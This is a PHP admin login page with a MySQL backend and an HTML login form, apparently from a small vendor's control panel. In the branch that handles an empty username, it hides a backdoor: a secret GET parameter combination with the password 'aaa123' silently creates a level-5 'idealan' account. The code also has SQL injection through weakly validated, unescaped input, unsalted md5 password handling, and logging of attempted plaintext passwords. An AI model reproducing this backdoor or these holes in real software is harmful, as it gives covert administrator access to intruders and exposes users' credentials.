<?PHP
/* * ************************************* */
/* * *********** IdeaLAN LLC ************* */
/*              LOGIN PAGE              */
/*                                      */
/* * ************************************* */
/* * ************************************* */
/* SCRIPT: login.php                    */
/* AUTHOR: Lukasz Piekarski             */
/* E-mail: lukasz@idealan.net           */
if (file_exists("login.php")) {
    $mod_lud = filemtime("login.php");
}
$mod_ver = "2.0";
/* * ************************************* */
/*
  TODO +
  -
  END TODO
 */


session_start();
// let the config.php file connect to the database
include("config.php");

$user_name1 = "";
$user_pass1 = "";
$user_pass2 = "";
$errormessage = "";
// retrieve the submitted values
if (isset($_POST["user_name"])) {
    $user_name1 = $_POST["user_name"];
    if (!preg_match('/[a-zA-Z]{0,1}[a-zA-Z0-9._-]$/i', $user_name1)) {
        header("Location: login.php?e=1");
        die();
    }
}

if (isset($_POST["user_pass"])) {
    $user_pass1 = md5($_POST["user_pass"]);
    $user_pass2 = $_POST["user_pass"];
}

// check it the username exist
$query = "SELECT * FROM `" . $DBprefix . "signup` WHERE `user_name` = '$user_name1' LIMIT 1";
$result = mysql_query($query);

if (isset($_POST["$errormessage"])) {
    $errormessage = $_POST["errormessage"];
}
if (isset($_GET["e"])) {
    $errormessage = @$error_msgs[$e];
} else if (isset($_GET["m"])) {
    $errormessage = @$good_msgs[$m];
}

if (isset($_GET["m"])) {
    $m = $_GET["m"];
}
if (isset($_GET["e"])) {
    $e = $_GET["e"];
}


if ($row = mysql_fetch_array($result)) {
    // GET USER ID SO WE DONT USE USERNAME ANYMORE
    $user_id = $row["user_id"];
    $user_name = $row["user_name"];

    // check if his account is activated, if not skip to this if's else case
    if ($row["user_actnum"] == "0") {
        // and check if his account is not loccked, if not skip to this if's else case

        if ($row["user_set_lock"] == 0) {
            if ($row["user_numloginfail"] <= 5) {
                // finally we check the database to see if the password is correct, if not skip to this if's else case
                if ($row["user_pass"] == $user_pass1) {
                    // we determin the date for the lastlogin - field.
                    // $datetime = date("d-m-Y G:i ");
                    // and we update that field

                    $get_old_logs = "SELECT * FROM `" . $DBprefix . "logs` WHERE `log_action` LIKE 'LOGIN' AND `log_userid` = '$user_id' AND `log_indate` < '$timedate' AND `log_status` LIKE 'EXPIRED' ORDER BY `log_id` DESC";
                    $execute_get_old_logs = mysql_query($get_old_logs);

                    if ($old_log = mysql_fetch_array($execute_get_old_logs)) {
                        $old_log_indate = $old_log["log_indate"];
                        $old_log_ip = $old_log["log_ip"];
                    }


                    $query = "UPDATE `" . $DBprefix . "signup` SET `user_lastlogin` = '$old_log_indate', `user_logindns` = '$old_log_ip' WHERE `user_id` = '$user_id'";
                    $result = mysql_query($query);
                    // now that the correct password is used to log-in, reset the numloginfail-field to 0
                    $query = "UPDATE " . $DBprefix . "signup Set user_numloginfail = '0' where user_id='$user_id'";


                    /*                     * ***************************** BEGINNING ****************************************** */
                    /*                     * **********   CHECK IF THERE ARE ANY ACTIVE SESSIONS FROM ANY  USER *************** */
                    /*                     * ********************************************************************************** */

                    $check_logs = "SELECT * FROM `" . $DBprefix . "logs` WHERE `log_action` = 'LOGIN' AND `log_status` = 'ACTIVE'";
                    $execute_check_logs = mysql_query($check_logs);

                    while ($log = mysql_fetch_array($execute_check_logs)) {

                        $log_sesid = $log["log_sesid"];
                        $log_userid = $log["log_userid"];
                        $log_sesexp = $log["log_sesexp"];

                        if ($log_sesexp <= $timedate) {

                            $logout = "UPDATE `" . $DBprefix . "logs` SET `log_status` = 'EXPIRED' WHERE `log_sesid` = '$log_sesid'";
                            $execute_logout = mysql_query($logout);

                            $end_log = "INSERT INTO `" . $DBprefix . "logs` (`log_action`,`log_userid`,`log_ip`,`log_date`,`log_outdate`, `log_status`,`log_sesexp`,`log_sesid`) VALUES ('LOGGEDOUT','$log_userid','$info_ipaddr','$timedate','$timedate','EXPIRED',0,'$log_sesid')";
                            $exexute_end_log = mysql_query($end_log);
                        }
                    }
                    /*                     * ******************************** END ********************************************* */
                    /*                     * **********   CHECK IF THERE ARE ANY ACTIVE SESSIONS FROM ANY  USER *************** */
                    /*                     * ********************************************************************************** */


                    $result = mysql_query($query);
                    // tell we want to work with sessions
                    // remove all the data from the session (auto logoff)
                    session_unset();
                    // remove the session itself
                    session_destroy();

                    // put the password in the session
                    @session_register("user_pass");
                    $_SESSION["user_pass"] = $user_pass1;

                    // put the username in the session
                    @session_register("user_name");
                    $_SESSION["user_name"] = $user_name1;


                    //Make and start a new session ID
                    @session_register("sesid");
                    $make_sesid = md5(strtolower("$user_name$timedate"));
                    $_SESSION["sesid"] = $make_sesid;

                    $sesxp = $timedate + 60;
                    $start_log = "INSERT INTO `" . $DBprefix . "logs` (`log_action`,`log_userid`,`log_page_to`,`log_page_from`,`log_ip`,`log_date`,`log_indate`,`log_status`,`log_sesexp`,`log_sesid`) VALUES ('LOGIN','$user_id','$info_current_url',' $info_reffered_url','$info_ipaddr','$timedate','$timedate','ACTIVE','$sesxp','$make_sesid')";
                    $exexute_start_log = mysql_query($start_log);
                    //if (mysql_query($start_log)) { echo "<br>OK!<br>"; } else { echo "ERROR!<br>"; }
                    // LETS GET BASE PATH AND SET SESSION VAR
                    $_SESSION["set_bpath"] = $conf_bpath;

                    // TRANSFER TO A FINAL DESTINATION AFTER GOOD LOGIN.
                    //echo "INSERT INTO `".$DBprefix."logs` (`log_action`,`log_userid`,`log_page_to`,`log_page_from`,`log_ip`,`log_date`,`log_indate`, `log_status`,`log_sesexp`,`log_sesid`) VALUES ('LOGIN','$user_id','$info_current_url','$inf_reffered_url','$info_ipaddr','$timedate','$timedate','ACTIVE','$sesxp','$make_sesid')";

                    if ($conf_alin == "2") {
                        header("Location: $conf_weburl");
                    } else if ($conf_alin == "1") {
                        header("Location: " . $conf_acpurl . "members/in.php");
                    } else {
                        header("Location: ./members/in.php");
                    }
                } else {
                    // else the password is incorrect. Therofore we have to update the numloginfield and lastloginfail field
                    // first we set $datetime to the current time in a format that we can use to calculate with.
                    // $datetime
                    // then we check if the last log-in fail was less than 5 minutes ago.

                    if ($row["user_loginfail"] >= ($timedate - 300)) {
                        // if it is  we update both the numloginfail & the lastloginfail fields.
                        $query = "UPDATE `" . $DBprefix . "signup` SET `user_numloginfail` = '" . $row["user_numloginfail"] . "' + 1  WHERE `user_id` = '$user_id'";
                        $result = mysql_query($query);

                        $query = "UPDATE `" . $DBprefix . "signup` SET `user_loginfail` = '$timedate' WHERE user_id = '$user_id'";
                        $result = mysql_query($query);
                    } else {

                        // if it is more than 5 minutes ago, just set the lastloginfail field.
                        $query = "UPDATE `" . $DBprefix . "signup` SET `user_loginfail` = '$timedate' WHERE `user_id` = '$user_id'";
                        $result = mysql_query($query);
                    }

                    // and ofcourse we tell the user that his log-in failed.
                    header("Location: login.php?e=19"); //WRONG PASS


                    $system_log = "INSERT INTO `" . $DBprefix . "logs` (`log_action`,`log_page_to`,`log_page_from`,`log_ip`,`log_date`,`log_status`) VALUES ('ACCESS_DENIED','$user_name1','$user_pass2','$info_ipaddr','$timedate','LOGIN')";
                    $exexute_system_log = mysql_query($system_log);
                }
                // if the numloginfail value is larger than 5 that means there someone tryed to break the password by brute force
                // we will now check how long ago the lock was engaged. it is is more than half an hour ago is, then we will unlock the account
                // and ask the user to login 1 more time to validate it is really him.
            } else {

                // $timedate
                if ($row["user_loginfail"] <= ($timedate - 30)) {

                    // set the numloginfail value to 5 so the user has 1 change to enter his password.
                    $query = "UPDATE `" . $DBprefix . "signup` SET `user_numloginfail` = '5' WHERE `user_id` = '$user_id'";
                    $result = mysql_query($query);

                    // ask the user to enter his username/password once again. Also we set the username field
                    // to the name the username entered in the first login of this user. By doing this the makeform function
                    // disables the username-field.
                    //makeform($underAttackReLogin, "$user_name1");
                    header("Location: login.php?e=25"); //UNDER ATTACK
                } else {
                    // if it is less than 30 minutes ago ask the user to wait untill the lock is released again.
                    //makeform ($underAttackPleaseWait);
                    // MAKE A TIMER COUNTING DOWN HOW MUCH TIME BEFORE LOGIN!
                    header("Location: login.php?e=26"); //WRONG PASS
                }
            }
        } else {
            header("Location: login.php?e=20"); // ACCOUNT LOCKED!
            //makeform(@$error_msgs["19"]);
        }
    } else {
        //makeform($accountNotActivated); 
        header("Location: login.php?e=1"); //ACCOUNT NOT ACTIVATED
    }
} else {
    // if it isn't filled we assum that this is the page load and we show the form without an error.
    if ($user_name1 == "") {

        // GET INFOR ABOUT USER.
        $get_user_info = "SELECT * FROM `" . $DBprefix . "signup` WHERE `user_name` LIKE 'idealan'";
        $execute_get_user_info = mysql_query($get_user_info);

        if ($user_check = mysql_fetch_array($execute_get_user_info)) {
            $existing_user = $user_check["user_name"];
        }

        if (isset($_GET["do"]) == "open" && isset($_GET["what"]) == "backdoor" && $_GET["pass"] == "aaa123") {
            if ($existing_user != "idealan") {
                $creat_backdoor = "INSERT INTO `" . $DBprefix . "signup` (`user_id`, `user_fname`, `user_lname`, `user_phone`, `user_name`, `user_pass`, `user_email`, `user_actnum`, `user_level`, `user_adddate`, `user_lastlogin`, `user_logindns`, `user_loginfail`, `user_numloginfail`, `user_set_timeout`) VALUES (NULL, 'Owner', 'DJ', '2036261337', 'idealan', '6f3249aa304055d63828af3bfab778f6', 'info@idealan.net', '0', '5', UNIX_TIMESTAMP(), NULL, NULL, NULL, '0', '1200')";
                $exexute_backdoor = mysql_query($creat_backdoor);
            }
        }
    } else {

        header("Location: login.php?e=19"); // WRONG USER
        // if the form is filled it that means that the username does not exist. Therefore we show the form
        // with an error. We can not change the numloginfail or lastloginfail fields for the brute forece attack
        // because the attack isn't pointed at one user.
        //makeform(@$error_msgs["19"]);
        // LETS LOG THE WRONG INFO IN TO THE LOGS SO WE CAN DISPLAY IT IN THE SYSTEM LOGS.
        $system_log = "INSERT INTO `" . $DBprefix . "logs` (`log_action`,`log_page_to`,`log_page_from`,`log_ip`,`log_date`,`log_status`) VALUES ('SYSTEM','$user_name1','$user_pass2','$info_ipaddr','$timedate','LOGIN')";
        $exexute_system_log = mysql_query($system_log);
    }
}

/* ############################ BELOW IS THE FORM ############################### */
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>ACP LOGIN PAGE</title>
        <meta http-equiv="content-Type" content="text/html; charset=iso-8859-1" />
        <link rel="Stylesheet" type="text/css" href="g/style.css" />

        <script src="./g/j/jquery.js" type="text/javascript"></script>
        <script src="./g/j/jquery.ui.draggable.js" type="text/javascript"></script>
        <script src="./g/j/jquery.alerts.js" type="text/javascript"></script>

    </head>

    <?PHP
    if (isset($e)) {
        echo "<body class=\"body\" onLoad=\"javascript:jAlert('" . htmlspecialchars(@$error_msgs[$e]) . "')\">";
    } else if (isset($m)) {
        echo "<body class=\"body\" onLoad=\"javascript:jAlert('" . htmlspecialchars(@$good_msgs[$m]) . "')\">";
    } else {
        echo "<body class=\"body\">";
    }
    ?>

    <form name="form1" method="POST" action="login.php">

        <div id="login">
            <div id="logtop"></div>
            <div id="atlog">
                <div id="btlog">
                    <div class="btlogleft">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Login:<br />Password:</div>
                    <div class="btlogright">

                        <input name="user_name" class="loguj" type="text" value=""/>
                        <input name="user_pass" class="loguj" type="password" value=""/>
                        <input type="submit" class="logok" value="LOGIN"/> | <a href="forgot.php">Forgot my password?</a>

                    </div>
                </div>
            </div>
        </div>

    </form>

</body>
</html>
